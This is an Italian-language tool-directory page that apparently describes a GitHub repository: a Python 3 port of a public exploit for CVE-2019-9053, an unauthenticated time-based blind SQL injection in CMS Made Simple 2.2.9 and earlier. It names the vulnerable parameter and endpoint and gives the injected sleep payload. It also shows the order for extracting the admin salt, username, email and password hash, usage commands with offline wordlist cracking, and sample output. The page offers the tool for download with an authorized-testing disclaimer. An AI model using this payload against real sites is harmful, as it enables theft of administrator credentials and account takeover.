Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2019-9053-py3 — Exploit di SQL injection blind time-based non autenticato per CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), portato a Python 3. | Kitploit
Strumenti/GitHubGitHub/vedantrana73/cve-2019-9053-py3
Password CrackingAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubvedantrana73/cve-2019-9053-py3

cve-2019-9053-py3

Exploit di SQL injection blind time-based non autenticato per CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), portato a Python 3.

Vedi Repository
32 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-9053 — Exploit SQLi per CMS Made Simple (Python 3)

Python CVE Type Target License

Disclaimer: Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e scopi educativi. Eseguirlo contro sistemi senza esplicita autorizzazione scritta è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.


Panoramica

Questa è una portabilità in Python 3 dell'exploit pubblico per CVE-2019-9053 — una vulnerabilità non autenticata di SQL injection blind basata sul tempo in CMS Made Simple ≤ 2.2.9.

Il parametro vulnerabile è m1_idlist sull'endpoint /moduleinterface.php (modulo Notizie). L'input utente viene passato non sanificato in una query SQL, consentendo a un attaccante non autenticato di estrarre il salt dell'amministratore, nome utente, email e hash della password — e opzionalmente decifrare la password offline.

Exploit originale di Daniele Scanu @ Certimeter Group.
Portabilità in Python 3 con correzioni e pulizia.


Come Funziona

L'exploit utilizza un oracolo di temporizzazione — inietta SELECT sleep(T) in una condizione SQL LIKE e misura il tempo di risposta HTTP. Se il server si ferma per ≥ T secondi, la condizione iniettata era vera. Ciò consente di estrarre i dati un carattere alla volta senza che alcun dato appaia mai nel corpo della risposta HTTP.

root@kitploit:~
Struttura del payload:
  m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
            +where+password+like+0x{hex(known_prefix+guess)}25
            +and+user_id+like+0x31)+--+

Ordine di estrazione:

Dopo l'estrazione, un attacco dizionario offline opzionale calcola MD5(salt + word) contro una wordlist — non sono necessarie ulteriori richieste di rete.


Modifiche per Python 3

Lo script originale era scritto per Python 2. Le seguenti modifiche sostanziali sono state corrette:


Requisiti

root@kitploit:~
pip3 install requests termcolor
DipendenzeScopo
requestsRichieste HTTP al target
termcolorOutput terminale colorato

Utilizzo

root@kitploit:~
# Estrazione base (nessuna decifratura password)
python3 exploit.py -u http://<target-ip>/simple

# Estrazione + decifratura offline password
python3 exploit.py -u http://<target-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt

Opzioni

OpzioneDescrizione
-u,

Esempio di Output

root@kitploit:~
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123

Dettagli CVE


Riferimenti

  • NVD — CVE-2019-9053
  • Original exploit — Exploit-DB #46635
  • CMS Made Simple

Note Legali

Questo exploit è fornito esclusivamente per test di penetrazione autorizzati e uso CTF/educativo.
L'uso non autorizzato contro sistemi che non possiedi o per cui non hai esplicita autorizzazione scritta per testarli è un reato penale ai sensi dell'IT Act, 2000 (India) e di leggi equivalenti in tutto il mondo.

Scarica lo strumento
PassoCampoTabellaNote
1Saltcms_siteprefsNecessario per decifrare la password
2Usernamecms_usersuser_id = 1 (admin)
3Emailcms_usersuser_id = 1 (admin)
4Passwordcms_usersMemorizzata come MD5(salt + password)
#ModificaMotivo
1print "..." → print("...")print è una funzione in Python 3
2hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode())hashlib.md5() richiede bytes in Python 3
3dict = open(wordlist) → with open(wordlist) as wordlist_filedict ombreggia un built-in; passato a context manager
4print "\033c" → print("\033c", end="")Evita doppio newline nella pulizia del terminale
5print colored(...) → print(colored(...))colored() restituisce una stringa; necessita un wrapper print()
--url
URL di base dell'installazione CMS Made Simple
-w, --wordlistPercorso di una wordlist per la decifratura offline della password
-c, --crackAbilita la modalità di decifratura della password
CampoValore
CVE IDCVE-2019-9053
CVSS Score7.5 (Alto)
TypeSQL Injection Blind basata sul tempo non autenticata
AffectedCMS Made Simple ≤ 2.2.9
Parameterm1_idlist in News module
Auth neededNessuna
PatchCMS Made Simple 2.2.10+